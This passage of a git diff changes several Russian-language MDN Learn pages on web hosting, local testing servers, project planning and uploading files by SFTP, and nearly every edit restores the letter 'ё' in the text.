хотите опубликовать веб-сайт, вы можете сделать все самостоятельно: настроить базу данных (если требуется), Систему управления наполнением, или {{Glossary("CMS")}} (такую как <a href="http://wordpress.org/">Wordpress</a>, <a href="http://dotclear.org/">Dotclear</a>, <a href="http://www.spip.net/en_rubrique25.html">spip</a>, и тд.), загружать заранее подготовленные вами шаблоны.</p> -<p>Вы можете использовать среду хостинг-провайдера, примерно за 10-15 долларов в месяц, или подписаться напрямую к удаленному хостинг-сервису с предустановленным CMSs (такие как, <a href="http://wordpress.com/">Wordpress</a>, <a href="https://www.tumblr.com/">Tumblr</a>, <a href="https://www.blogger.com/">Blogger</a>). В последнем случае, вам не придется платить ни за что, но вы будете иметь меньше контроля над шаблонами и другими элементами.</p> +<p>Вы можете использовать среду хостинг-провайдера, примерно за 10-15 долларов в месяц, или подписаться напрямую к удалённому хостинг-сервису с предустановленным CMSs (такие как, <a href="http://wordpress.com/">Wordpress</a>, <a href="https://www.tumblr.com/">Tumblr</a>, <a href="https://www.blogger.com/">Blogger</a>). В последнем случае, вам не придётся платить ни за что, но вы будете иметь меньше контроля над шаблонами и другими элементами.</p> <h3 id="Бесплатный_хостинг_vs._платный">Бесплатный хостинг vs. платный</h3> @@ -121,7 +121,7 @@ translation_of: Learn/Common_questions/How_much_does_it_cost <li>Бесплатные хостинги могут добавлять рекламные объявления к вашему контенту, в обход вашего контроля.</li> </ul> -<p>Лучше обратиться к платному хостингу, чем полагаться на бесплатный, так как большинство платных сайтов гарантируют бесперебойную работу и позволяют с легкостью управлять файловой структурой. Большинство хостинг-провайдеров предоставят вам огромную скидку для старта.</p> +<p>Лучше обратиться к платному хостингу, чем полагаться на бесплатный, так как большинство платных сайтов гарантируют бесперебойную работу и позволяют с лёгкостью управлять файловой структурой. Большинство хостинг-провайдеров предоставят вам огромную скидку для старта.</p> <p>Некоторые люди выбирают смешанный подход. Например, их главный блог на платном хосте, с полным доменном именем, а неожиданный менее важный контент, на бесплатном хосте.</p> @@ -142,9 +142,9 @@ translation_of: Learn/Common_questions/How_much_does_it_cost <p>...и для хостинга:</p> <ul> - <li>Хотите ли вы иметь резервный сервер, если вдруг ваш упадет?</li> - <li>Надежность 95%, или вам требуется круглосуточный сервис обслуживания?</li> - <li>Вам нужны высокопроизводительные, сверхчувствительные удаленные серверы или вам будет достаточно более медленной, машиной, предназначенной для совместного использования.</li> + <li>Хотите ли вы иметь резервный сервер, если вдруг ваш упадёт?</li> + <li>Надёжность 95%, или вам требуется круглосуточный сервис обслуживания?</li> + <li>Вам нужны высокопроизводительные, сверхчувствительные удалённые серверы или вам будет достаточно более медленной, машиной, предназначенной для совместного использования.</li> </ul> <p>В зависимости от ответа на эти вопросы, ваш сайт может обойтись вам в тысячи или даже сотни тысяч долларов.</p> diff --git a/files/ru/learn/common_questions/index.html b/files/ru/learn/common_questions/index.html index 99127001de..325d2791d6 100644 --- a/files/ru/learn/common_questions/index.html +++ b/files/ru/learn/common_questions/index.html @@ -78,7 +78,7 @@ translation_of: Learn/Common_questions <dt> <h3 id="Как_загрузить_файлы_на_веб-сервер"><a href="/ru/docs/Learn/Common_questions/Upload_files_to_a_web_server">Как загрузить файлы на веб-сервер?</a></h3> </dt> - <dd>В этой статье показано, как публиковать свой сайт в Интернете с помощью инструментов FTP - одним из самых распространенных способов сделать сайт общедоступным, чтобы другие пользователи могли получить доступ к нему со своих компьютеров.</dd> + <dd>В этой статье показано, как публиковать свой сайт в Интернете с помощью инструментов FTP - одним из самых распространённых способов сделать сайт общедоступным, чтобы другие пользователи могли получить доступ к нему со своих компьютеров.</dd> <dt> <h3 id="Как_использовать_GitHub_Pages"><a href="/ru/docs/Learn/Common_questions/Using_GitHub_Pages">Как использовать GitHub Pages?</a></h3> </dt> @@ -105,7 +105,7 @@ translation_of: Learn/Common_questions <dt> <h3 id="Какова_структура_наиболее_используемых_макетов_сайтов"><a href="/ru/docs/Learn/Common_questions/Common_web_layouts">Какова структура наиболее используемых макетов сайтов?</a></h3> </dt> - <dd>При разработке страниц вашего сайта хорошо иметь представление о наиболее распространенных макетах. В этой статье приведены некоторые типичные макеты веб-сайтов, а также части, которые входят в каждый макет.</dd> + <dd>При разработке страниц вашего сайта хорошо иметь представление о наиболее распространённых макетах. В этой статье приведены некоторые типичные макеты веб-сайтов, а также части, которые входят в каждый макет.</dd> <dt> <h3 id="Что_такое_удобство_использования"><a href="/ru/docs/Learn/Common_questions/What_is_accessibility">Что такое удобство использования?</a></h3> </dt> @@ -125,7 +125,7 @@ translation_of: Learn/Common_questions <p>Чтобы узнать о распространённых решениях большинства проблем в HTML / CSS / JavaScript, используйте следующие статьи:</p> <ul> - <li><a href="/ru/docs/Learn/HTML/Howto">Использование HTML для решения распространенных проблем</a></li> + <li><a href="/ru/docs/Learn/HTML/Howto">Использование HTML для решения распространённых проблем</a></li> <li><a href="/ru/docs/Learn/CSS/Howto">Использование CSS для решения распространённых проблем </a></li> - <li><a href="/ru/docs/Learn/JavaScript/Howto">Использование JavaScript для решения распространенных проблем</a></li> + <li><a href="/ru/docs/Learn/JavaScript/Howto">Использование JavaScript для решения распространённых проблем</a></li> </ul> diff --git a/files/ru/learn/common_questions/pages_sites_servers_and_search_engines/index.html b/files/ru/learn/common_questions/pages_sites_servers_and_search_engines/index.html index 38139a33b7..a7a189fb93 100644 --- a/files/ru/learn/common_questions/pages_sites_servers_and_search_engines/index.html +++ b/files/ru/learn/common_questions/pages_sites_servers_and_search_engines/index.html @@ -12,7 +12,7 @@ translation_of: Learn/Common_questions/Pages_sites_servers_and_search_engines original_slug: Learn/Pages_sites_servers_and_search_engines --- <div class="summary"> -<p><span class="seoSummary">В этой статье мы расскажем о различных понятиях связанных с Веб: о веб-страницах, веб-сайтах, веб-серверах и о поисковых системах. Эти термины часто ставят в тупик как начинающих работу с Веб, так и людей, редко пользующихся сетью. Давайте же разберемся, что именно эти понятия означают!</span></p> +<p><span class="seoSummary">В этой статье мы расскажем о различных понятиях связанных с Веб: о веб-страницах, веб-сайтах, веб-серверах и о поисковых системах. Эти термины часто ставят в тупик как начинающих работу с Веб, так и людей, редко пользующихся сетью. Давайте же разберёмся, что именно эти понятия означают!</span></p> </div> <table class="learn-box standard-table"> @@ -53,7 +53,7 @@ original_slug: Learn/Pages_sites_servers_and_search_engines <h2 id="Погружаемся_глубже">Погружаемся глубже</h2> -<p>Итак, давайте копнем чуть глубже и узнаем, как эти 4 термина связаны между собой, и почему данные понятия зачастую путают друг с другом.</p> +<p>Итак, давайте копнём чуть глубже и узнаем, как эти 4 термина связаны между собой, и почему данные понятия зачастую путают друг с другом.</p> <h3 id="Веб-страница">Веб-страница</h3> @@ -69,7 +69,7 @@ original_slug: Learn/Pages_sites_servers_and_search_engines <p><strong>Примечание: </strong>браузеры зачастую могут отображать некоторые документы в формате <a href="https://ru.wikipedia.org/wiki/Portable_Document_Format">PDF</a> файла или изображения, но термин <strong>веб-страница</strong> больше относится непосредственно к HTML-документам. До конца статьи, в данном случае, мы будем использовать понятие <strong>документ</strong>.</p> </div> -<p>Все веб-страницы в сети имеют свой уникальный адрес. Чтобы получить доступ к нужной странице просто наберите ее адрес в адресной строке Вашего браузера:</p> +<p>Все веб-страницы в сети имеют свой уникальный адрес. Чтобы получить доступ к нужной странице просто наберите её адрес в адресной строке Вашего браузера:</p> <p style="text-align: center;"><img alt="Example of a web page address in the browser address bar" src="https://mdn.mozillademos.org/files/8529/web-page.jpg" style="float: left; height: 239px; width: 650px;"></p> @@ -95,17 +95,17 @@ original_slug: Learn/Pages_sites_servers_and_search_engines <h3 id="Веб-сервер">Веб-сервер</h3> -<p><em>Веб-сервер</em> - это компьютер, предоставляющий в сеть один или множество <em>веб-сайтов (хостинг)</em>. Понятие "хостинг" - означает, что все <em>страницы </em>и прикрепленные к ним файлы содержатся на данном компьютере. Т.е. <em>Веб-сервер</em> будет отправлять любую <em>страницу</em> с <em>сайта</em> по запросу любого пользователя, что и будет хостингом для браузера пользователя.</p> +<p><em>Веб-сервер</em> - это компьютер, предоставляющий в сеть один или множество <em>веб-сайтов (хостинг)</em>. Понятие "хостинг" - означает, что все <em>страницы </em>и прикреплённые к ним файлы содержатся на данном компьютере. Т.е. <em>Веб-сервер</em> будет отправлять любую <em>страницу</em> с <em>сайта</em> по запросу любого пользователя, что и будет хостингом для браузера пользователя.</p> -<p>Не путайте понятия <em>веб-сайта</em> и <em>веб-сервера</em>. Например, если Вы слышите, что кто-либо говорит: "Мой веб-сайт не отвечает", на самом деле это означает, что это <em>веб-сервер</em> не отвечает на запрос, и поэтому недоступен и сам <em>сайт.</em> Более того, так как веб-сервер может разместить несколько сайтов, термин веб-сервер никогда не используется для обозначения веб-сайта, так как это могло бы привести к большой путанице. Вернемся к предыдущему примеру: если бы мы сказали: "Мой веб-сервер не отвечает", это значило бы, что на этом сервере нет доступных сайтов в данный момент.</p> +<p>Не путайте понятия <em>веб-сайта</em> и <em>веб-сервера</em>. Например, если Вы слышите, что кто-либо говорит: "Мой веб-сайт не отвечает", на самом деле это означает, что это <em>веб-сервер</em> не отвечает на запрос, и поэтому недоступен и сам <em>сайт.</em> Более того, так как веб-сервер может разместить несколько сайтов, термин веб-сервер никогда не используется для обозначения веб-сайта, так как это могло бы привести к большой путанице. Вернёмся к предыдущему примеру: если бы мы сказали: "Мой веб-сервер не отвечает", это значило бы, что на этом сервере нет доступных сайтов в данный момент.</p> <h3 id="Поисковая_система">Поисковая система</h3> -<p><em>Поисковые системы</em> являются распространенной причиной путаницы в сети. <em>Поисковая система</em> - это специальный вид веб-сайта, который помогает пользователям найти нужные страницы <em>других</em> сайтов.</p> +<p><em>Поисковые системы</em> являются распространённой причиной путаницы в сети. <em>Поисковая система</em> - это специальный вид веб-сайта, который помогает пользователям найти нужные страницы <em>других</em> сайтов.</p> -<p>Наиболее популярные поисковые системы: <a href="https://www.google.com/">Google</a>, <a href="https://www.bing.com/">Bing</a>, <a href="https://www.yandex.com/">Yandex</a>, <a href="https://duckduckgo.com/">DuckDuckGo</a>, и многие другие. Некоторые из них универсальны, а какие-то ориентированы на определенную область. Используйте тот поисковик, который удобен Вам.</p> +<p>Наиболее популярные поисковые системы: <a href="https://www.google.com/">Google</a>, <a href="https://www.bing.com/">Bing</a>, <a href="https://www.yandex.com/">Yandex</a>, <a href="https://duckduckgo.com/">DuckDuckGo</a>, и многие другие. Некоторые из них универсальны, а какие-то ориентированы на определённую область. Используйте тот поисковик, который удобен Вам.</p> -<p>Многие начинающие пользователи сети путают между собой поисковую систему и браузер. Давайте поясним: <em><strong>браузер</strong></em> - это программное обеспечение, которое находит и отображает веб-страницы; <strong><em>поисковая система</em></strong> - это специальный вид сайта, который помогает пользователям найти нужные страницы <em>других</em> сайтов. Путаница возникает из-за того, что когда кто-либо впервые запускает браузер, тот отображает домашнюю страницу поисковой системы. Это именно так, ведь первое, что Вы делаете, запуская браузер, это находите веб-страницу и открываете ее. Но не путайте инфраструктуру (т.е. браузер) с сервисом (т.е. поисковой системой). Это отличие несколько поможет Вам, но даже некоторые специалисты произвольно употребляют данные понятия, так что из-за этого не следует особо переживать. </p> +<p>Многие начинающие пользователи сети путают между собой поисковую систему и браузер. Давайте поясним: <em><strong>браузер</strong></em> - это программное обеспечение, которое находит и отображает веб-страницы; <strong><em>поисковая система</em></strong> - это специальный вид сайта, который помогает пользователям найти нужные страницы <em>других</em> сайтов. Путаница возникает из-за того, что когда кто-либо впервые запускает браузер, тот отображает домашнюю страницу поисковой системы. Это именно так, ведь первое, что Вы делаете, запуская браузер, это находите веб-страницу и открываете её. Но не путайте инфраструктуру (т.е. браузер) с сервисом (т.е. поисковой системой). Это отличие несколько поможет Вам, но даже некоторые специалисты произвольно употребляют данные понятия, так что из-за этого не следует особо переживать. </p> <p>Ниже пример того, как браузер Firerox по умолчанию отображает окно поиска Google на стартовой (домашней) странице:</p> diff --git a/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html b/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html index 107fde3801..b83a09368d 100644 --- a/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html +++ b/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html @@ -22,15 +22,15 @@ translation_of: Learn/Common_questions/set_up_a_local_testing_server </tbody> </table> -<h2 id="Локальные_и_удаленные_файлы">Локальные и удаленные файлы</h2> +<h2 id="Локальные_и_удалённые_файлы">Локальные и удалённые файлы</h2> <p>На протяжении всего обучения, вы будете открывать примеры непосредственно в браузере — двойным кликом по HTML файлу, перетаскиванием файла в окно браузера, или через меню <em>File</em> > <em>Open...</em> и указывая необходимый HTML файл. Существует множество способов как это сделать.</p> -<p>Если веб-адрес начинается с <code>file://</code> в котором далее прописан путь к файлу на вашем локальном жестком диске, значит используется локальный файл. В противоположность этому, если вы откроете на просмотр один из наших примеров, расположенных на GitHub (или пример расположенный на любом другом удаленном сервере), веб-адрес будет начинаться с <code>http://</code> или <code>https://</code>, что означает что файл был получен через HTTP.</p> +<p>Если веб-адрес начинается с <code>file://</code> в котором далее прописан путь к файлу на вашем локальном жёстком диске, значит используется локальный файл. В противоположность этому, если вы откроете на просмотр один из наших примеров, расположенных на GitHub (или пример расположенный на любом другом удалённом сервере), веб-адрес будет начинаться с <code>http://</code> или <code>https://</code>, что означает что файл был получен через HTTP.</p> <h2 id="Проблемы_тестирования_локальных_файлов">Проблемы тестирования локальных файлов</h2> -<p>Некоторые примеры могут не запуститься, если вы попробуете открыть их как локальные файлы. Это может произойти по нескольким причинам, самые распространенные из которых:</p> +<p>Некоторые примеры могут не запуститься, если вы попробуете открыть их как локальные файлы. Это может произойти по нескольким причинам, самые распространённые из которых:</p> <ul> <li><strong>Они содержат асинхронные запросы.</strong> Некоторые браузеры (включая Chrome) не будут запускать асинхронные запросы (см. <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a>), если вы просто запускаете пример из локального файла. Это связано с ограничениями безопасности (для получения дополнительной информации о безопасности в Интернете, ознакомьтесь с <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a>).</li> @@ -62,7 +62,7 @@ translation_of: Learn/Common_questions/set_up_a_local_testing_server <pre class="brush: bash notranslate">python -V</pre> </li> <li> - <p>Система вернет Вам номер версии установленной программы. В случае успешного выполнения команды <code>python -V </code> нужно перейти в директорию с вашим проектом, используя команду <code>cd</code>:</p> + <p>Система вернёт Вам номер версии установленной программы. В случае успешного выполнения команды <code>python -V </code> нужно перейти в директорию с вашим проектом, используя команду <code>cd</code>:</p> <pre class="brush: bash notranslate"># include the directory name to enter it, for example cd Desktop @@ -78,7 +78,7 @@ python -m http.server python -m <code>SimpleHTTPServer</code></pre> </li> <li> - <p>По умолчанию это приведет к запуску содержимого каталога на локальном веб-сервере на порту 8000. Вы можете перейти на этот сервер, перейдя на URL-адрес <code>localhost: 8000</code> в своем веб-браузере. Здесь вы увидите содержимое указанного каталога - щелкните файл HTML, который вы хотите запустить.</p> + <p>По умолчанию это приведёт к запуску содержимого каталога на локальном веб-сервере на порту 8000. Вы можете перейти на этот сервер, перейдя на URL-адрес <code>localhost: 8000</code> в своём веб-браузере. Здесь вы увидите содержимое указанного каталога - щёлкните файл HTML, который вы хотите запустить.</p> </li> </ol> @@ -91,7 +91,7 @@ python -m <code>SimpleHTTPServer</code></pre> <p>Модуль Python <code>SimpleHTTPServer (python 2.0) http.server (python 3.0)</code> полезен, но он не знает, как запускать код, написанный на таких языках, как Python, PHP или JavaScript. Чтобы справиться с этим, вам понадобится нечто большее - именно то, что вам нужно, зависит от языка сервера, который вы пытаетесь запустить. Вот несколько примеров:</p> <ul> - <li>Для запуска кода на стороне сервера Python вам необходимо использовать веб-инфраструктуру Python. Вы можете узнать, как использовать структуру Django, прочитав <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django">Django Web Framework (Python)</a>. <a href="http://flask.pocoo.org/">Flask</a> также является хорошей (чуть менее тяжелой) альтернативой Django. Чтобы запустить это, ознакомьтесь с <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">install Python/PIP</a>, а затем установите Flask с помощью <code>pip3 install flask</code>. На этом этапе вы сможете запустить примеры Python Flask, используя, например, <code>python3 python-example.py</code>, затем перейдя на <code>localhost: 5000</code> в свой браузер.</li> + <li>Для запуска кода на стороне сервера Python вам необходимо использовать веб-инфраструктуру Python. Вы можете узнать, как использовать структуру Django, прочитав <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django">Django Web Framework (Python)</a>. <a href="http://flask.pocoo.org/">Flask</a> также является хорошей (чуть менее тяжёлой) альтернативой Django. Чтобы запустить это, ознакомьтесь с <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">install Python/PIP</a>, а затем установите Flask с помощью <code>pip3 install flask</code>. На этом этапе вы сможете запустить примеры Python Flask, используя, например, <code>python3 python-example.py</code>, затем перейдя на <code>localhost: 5000</code> в свой браузер.</li> <li>Чтобы запустить серверный код Node.js (JavaScript), вам нужно использовать Node.js или фреймворк, построенный поверх него. Express - хороший выбор - см. <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs">Express Web Framework (Node.js/JavaScript)</a>.</li> <li>Чтобы запустить PHP-серверный код, вам понадобится настройка сервера, которая может интерпретировать PHP. Хорошими вариантами для локального тестирования PHP являются <a class="external external-icon" href="https://www.mamp.info/en/downloads/">MAMP</a> (Mac и Windows), <a class="external external-icon" href="http://ampps.com/download">AMPPS</a> (Mac, Windows, Linux) и <a href="https://www.linux.com/learn/easy-lamp-server-installation">LAMP</a> (Linux, Apache, MySQL и PHP / Python / Perl). Это полные пакеты, которые создают локальные настройки, позволяющие запускать базы данных Apache, PHP и MySQL.</li> </ul> diff --git a/files/ru/learn/common_questions/thinking_before_coding/index.html b/files/ru/learn/common_questions/thinking_before_coding/index.html index f10459aee6..ab8ad9f053 100644 --- a/files/ru/learn/common_questions/thinking_before_coding/index.html +++ b/files/ru/learn/common_questions/thinking_before_coding/index.html @@ -27,7 +27,7 @@ translation_of: Learn/Common_questions/Thinking_before_coding <p><span class="seoSummary">Большинство людей, начиная свой web-проект, фокусируются прежде всего на технической его стороне. Безусловно, вы должны иметь представление о технической стороне своей работы, но гораздо важнее сперва узнать, что вы хотели бы получить в результате. Конечно это кажется очевидным, однако слишком много проектов не доживают до релиза не из-за отсутствия технических знаний, но из-за отсутствия целей и видения.</span></p> -<p>Так что когда у вас появляется какая-то идея и желание воплотить ее в web-сайте, вам необходимо ответить на 3 простых вопроса, и уже потом предпринимать что-либо иное :</p> +<p>Так что когда у вас появляется какая-то идея и желание воплотить её в web-сайте, вам необходимо ответить на 3 простых вопроса, и уже потом предпринимать что-либо иное :</p> <ul> <li>Что я хочу в конце-концов получить?</li> @@ -39,7 +39,7 @@ translation_of: Learn/Common_questions/Thinking_before_coding <h2 id="Активное_Обучение">Активное Обучение</h2> -<p><em>На данный момент этот раздел еще не готов. Вы можете помочь сообществу разработчиков, вступив в <a href="https://developer.mozilla.org/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p> +<p><em>На данный момент этот раздел ещё не готов. Вы можете помочь сообществу разработчиков, вступив в <a href="https://developer.mozilla.org/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p> <h2 id="Более_глубокое_погружение">Более глубокое погружение</h2> @@ -55,7 +55,7 @@ translation_of: Learn/Common_questions/Thinking_before_coding <h3 class="highlight-spanned" id="Что_же_в_конце_концов_я_хочу_получить"><span class="highlight-span">Что же в конце концов я хочу получить?</span></h3> -<p>Этот вопрос наиболее остро нуждается в ответе, поскольку ответ является решающим в дальнейших действиях. Лучше всего подойдет список целей, которых вы хотите достичь. Это может быть что угодно: интернет-магазин, выражение политических взглядов, расширение круга общения, организация концертов, коллекционирование картинок с котиками, или что угодно еще, что вы хотите получить.</p> +<p>Этот вопрос наиболее остро нуждается в ответе, поскольку ответ является решающим в дальнейших действиях. Лучше всего подойдёт список целей, которых вы хотите достичь. Это может быть что угодно: интернет-магазин, выражение политических взглядов, расширение круга общения, организация концертов, коллекционирование картинок с котиками, или что угодно ещё, что вы хотите получить.</p> <p>Представьте себя музыкантом. Должно быть, вы хотите:</p> @@ -87,21 +87,21 @@ translation_of: Learn/Common_questions/Thinking_before_coding <h3 class="highlight-spanned" id="Как_сайт_поможет_мне_в_достижении_цели"><span class="highlight-span">Как сайт поможет мне в достижении цели?</span></h3> -<p>И так, у вас есть конкретная цель и вам кажется, что для ее достижения нужен веб-сайт. Вы уверены?</p> +<p>И так, у вас есть конкретная цель и вам кажется, что для её достижения нужен веб-сайт. Вы уверены?</p> -<p>Вернемся к нашему примеру. У нас есть 5 задач, связанных с музыкой, одна из области личной жизни (поиск своей пары), и ни с чем не связанные фото кота. Есть ли смысл создавать сайт, который способен удовлетворить всем этим требованиям? Так ли это необходимо? В конце концов, десятки уже существующих web-сервисов способны помочь вам в достижении ваших целей.</p> +<p>Вернёмся к нашему примеру. У нас есть 5 задач, связанных с музыкой, одна из области личной жизни (поиск своей пары), и ни с чем не связанные фото кота. Есть ли смысл создавать сайт, который способен удовлетворить всем этим требованиям? Так ли это необходимо? В конце концов, десятки уже существующих web-сервисов способны помочь вам в достижении ваших целей.</p> -<p>Поиск пары - главная задача, и более разумно использовать уже существующие ресурсы, чем создавать свой. Почему? Мы потратим больше времени на создание и поддержание сайта чем на поиск своей потенциальной пары. Пока эта цель сохраняет наибольший приоритет, логичнее тратить время и силы на использование (освоение) существующего инструмента, чем начинать его создание с нуля. Аналогично, существует достаточное количество сайтов, которые уже предоставляют возможность демонстрации фотографий, чтобы на создание еще одного можно было очень коротко ответить: это того не стоит.</p> +<p>Поиск пары - главная задача, и более разумно использовать уже существующие ресурсы, чем создавать свой. Почему? Мы потратим больше времени на создание и поддержание сайта чем на поиск своей потенциальной пары. Пока эта цель сохраняет наибольший приоритет, логичнее тратить время и силы на использование (освоение) существующего инструмента, чем начинать его создание с нуля. Аналогично, существует достаточное количество сайтов, которые уже предоставляют возможность демонстрации фотографий, чтобы на создание ещё одного можно было очень коротко ответить: это того не стоит.</p> -<p>Оставшиеся пять задач непосредственно связанны с музыкой. Конечно же, на данный момент уже достаточно сайтов, обладающих подобным функционалом, но в текущем контексте имеет смысл создать сайт, посвященный именно вам. Прежде всего, сайт - это лучший способ <em>чтобы собрать все</em>, что мы хотим опубликовать, в одном месте (для решения проблем под номерами 3, 5 и 6) и создать среду для взаимодействия между нами и публикой (для решения проблем 2 и 4). Если проще, то так как все эти задачи из одной области, содержание всего в одном месте (веб-сайте) поможет нам в достижении целей, а также поможет нашим поклонникам связаться с нами.</p> +<p>Оставшиеся пять задач непосредственно связанны с музыкой. Конечно же, на данный момент уже достаточно сайтов, обладающих подобным функционалом, но в текущем контексте имеет смысл создать сайт, посвящённый именно вам. Прежде всего, сайт - это лучший способ <em>чтобы собрать все</em>, что мы хотим опубликовать, в одном месте (для решения проблем под номерами 3, 5 и 6) и создать среду для взаимодействия между нами и публикой (для решения проблем 2 и 4). Если проще, то так как все эти задачи из одной области, содержание всего в одном месте (веб-сайте) поможет нам в достижении целей, а также поможет нашим поклонникам связаться с нами.</p> -<p>Как способен сайт помочь мне решить мои проблемы? Ответив на это, вы найдете наилучшее решение для себя и убережетесь от траты усилий впустую.</p> +<p>Как способен сайт помочь мне решить мои проблемы? Ответив на это, вы найдёте наилучшее решение для себя и убережётесь от траты усилий впустую.</p> <h3 class="highlight-spanned" id="Что_и_в_какие_сроки_должно_быть_реализовано_для_достижения_целей"><span class="highlight-span">Что и в какие сроки должно быть реализовано для достижения целей?</span></h3> -<p>Теперь, когда вы уже узнали, что вам на самом деле нужно, настало время составить план, раскладывающий ваши цели на небольшие выполнимые шаги. Еще нужно помнить, что все ваши планы не есть догмы. Они постоянно эволюционируют вместе с изменением курса проекта. К примеру, если вы вдруг вспомните о чем-то ранее неучтенном, или просто измените свое видение проекта.</p> +<p>Теперь, когда вы уже узнали, что вам на самом деле нужно, настало время составить план, раскладывающий ваши цели на небольшие выполнимые шаги. Ещё нужно помнить, что все ваши планы не есть догмы. Они постоянно эволюционируют вместе с изменением курса проекта. К примеру, если вы вдруг вспомните о чем-то ранее неучтённом, или просто измените своё видение проекта.</p> -<p>Как водится, лучше один раз увидеть, чем сто раз услышать, так что вернемся к нашему примеру:</p> +<p>Как водится, лучше один раз увидеть, чем сто раз услышать, так что вернёмся к нашему примеру:</p> <table class="standard-table"> <thead> @@ -147,7 +147,7 @@ translation_of: Learn/Common_questions/Thinking_before_coding <li>Приготовить их</li> <li>Разместить в магазине</li> <li>Найти способ доставки</li> - <li>Определиться с платежной системой</li> + <li>Определиться с платёжной системой</li> <li>Добавить способ делать заказы на вашем сайте</li> </ol> </td> @@ -167,10 +167,10 @@ translation_of: Learn/Common_questions/Thinking_before_coding <p><strong>Два важных замечания.</strong></p> -<p>Во-первых, некоторые из этих задач не привязаны к интернету (к примеру, запись музыки или написание статей). И очень часто такие "офлайн" вещи играют большую роль в достижении целей, чем сам сайт. В продажах, к примеру, гораздо большее значение и тяжелую реализацию представляют решения вопросов доставки, оплаты и налогообложения, чем непосредственная реализация сайта с возможностью оформления заказов.</p> +<p>Во-первых, некоторые из этих задач не привязаны к интернету (к примеру, запись музыки или написание статей). И очень часто такие "офлайн" вещи играют большую роль в достижении целей, чем сам сайт. В продажах, к примеру, гораздо большее значение и тяжёлую реализацию представляют решения вопросов доставки, оплаты и налогообложения, чем непосредственная реализация сайта с возможностью оформления заказов.</p> <p>Во-вторых, написание плана порождает новые вопросы, которые тоже нуждаются в ответах. И, как правило, этих вопросов больше чем рассмотрено в этой статье. (К примеру, можете ли вы сделать что-то из плана самостоятельно, лучше попросить кого-то из знакомых или придётся прибегнуть к помощи третьих лиц?)</p> <h2 id="Заключение">Заключение</h2> -<p>Как стало понятно, простая мысль "А не сделать ли мне сайт?" порождает очень много работы, и при каждом следующем обдумывании она только растет. В скором она может стать очень большой, но это не повод для паники. Вы не обязаны отвечать на <em>все </em>вопросы, а также выполнять каждый пункт плана. Что действительно имеет значение, так это ваше видение результата и понимание целей. Однажды создав идею, вам нужно определиться, как и когда ее реализовать. Разбивайте большие задачи на меньшие и более выполнимые. И каждая выполненная задача приблизит вас к грандиозному успеху.</p> +<p>Как стало понятно, простая мысль "А не сделать ли мне сайт?" порождает очень много работы, и при каждом следующем обдумывании она только растёт. В скором она может стать очень большой, но это не повод для паники. Вы не обязаны отвечать на <em>все </em>вопросы, а также выполнять каждый пункт плана. Что действительно имеет значение, так это ваше видение результата и понимание целей. Однажды создав идею, вам нужно определиться, как и когда её реализовать. Разбивайте большие задачи на меньшие и более выполнимые. И каждая выполненная задача приблизит вас к грандиозному успеху.</p> diff --git a/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html b/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html index 8bb146c8a3..44b935aafb 100644 --- a/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html +++ b/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html @@ -55,7 +55,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server <p><code>demozilla.examplehostingprovider.net</code></p> -<p>Для загрузки файлов на этот аккаунт, пожалуйста, подключитесь через SFTP с использованием следующих учетных данных:</p> +<p>Для загрузки файлов на этот аккаунт, пожалуйста, подключитесь через SFTP с использованием следующих учётных данных:</p> <ul> <li>SFTP сервер: <code>sftp://demozilla.examplehostingprovider.net</code></li> @@ -74,7 +74,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server <p><strong>Заметка</strong>: В зависимости от вашего хостинг-провайдера, когда вы впервые заходите на свой веб-адрес, большую часть времени вы будете видеть страницу, на которой написано что-то вроде этого: “This website is hosted by [Hosting Service].”</p> </div> -<p>Чтобы подключить SFTP клиент к удаленному серверу, выполните следующие действия:</p> +<p>Чтобы подключить SFTP клиент к удалённому серверу, выполните следующие действия:</p> <ol> <li>Выберите <em>File > Site Manager...</em> в главном меню.</li> @@ -92,7 +92,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server <p>Заметка: Убедитесь, что ваш хостинг-провайдер предлагает SFTP (безопасный FTP) подключение к вашему хостинговому пространству. FTP по своей сути небезопасен, и вам не следует его использовать.</p> -<h3 id="Здесь_и_там_локальный_и_удаленный_просмотр">Здесь и там: локальный и удаленный просмотр</h3> +<h3 id="Здесь_и_там_локальный_и_удалённый_просмотр">Здесь и там: локальный и удалённый просмотр</h3> <p>После подключения ваш экран должен выглядеть примерно так (мы подключились к нашему собственному примеру, чтобы дать вам представление):<img alt="" src="https://mdn.mozillademos.org/files/15768/connected.png" style="border-style: solid; border-width: 1px; display: block; height: 199px; margin: 0px auto; width: 700px;"></p> @@ -100,7 +100,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server <ul> <li>По центру левой панели вы можете видеть локальные файлы. Перейдите в каталог, в котором вы храните свой веб-сайт (например, <code>mdn</code>).</li> - <li>По центру правой панели вы увидеть удаленные файлы. Мы вошли в наш удаленный корень FTP (в данном случае: <code>users/demozilla</code>)</li> + <li>По центру правой панели вы увидеть удалённые файлы. Мы вошли в наш удалённый корень FTP (в данном случае: <code>users/demozilla</code>)</li> <li>Вы можете пока игнорировать нижнюю и верхнюю панели. Соответственно, это журнал сообщений, показывающий состояние соединения между вашим компьютером и SFTP-сервером, и журнал в реальном времени каждого взаимодействия между вашим SFTP-клиентом и сервером.</li> </ul> @@ -108,7 +108,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server <p>Наш пример инструкций для хостинга указывает нам следующее: "Чтобы опубликовать в Интернете, поместите свои файлы 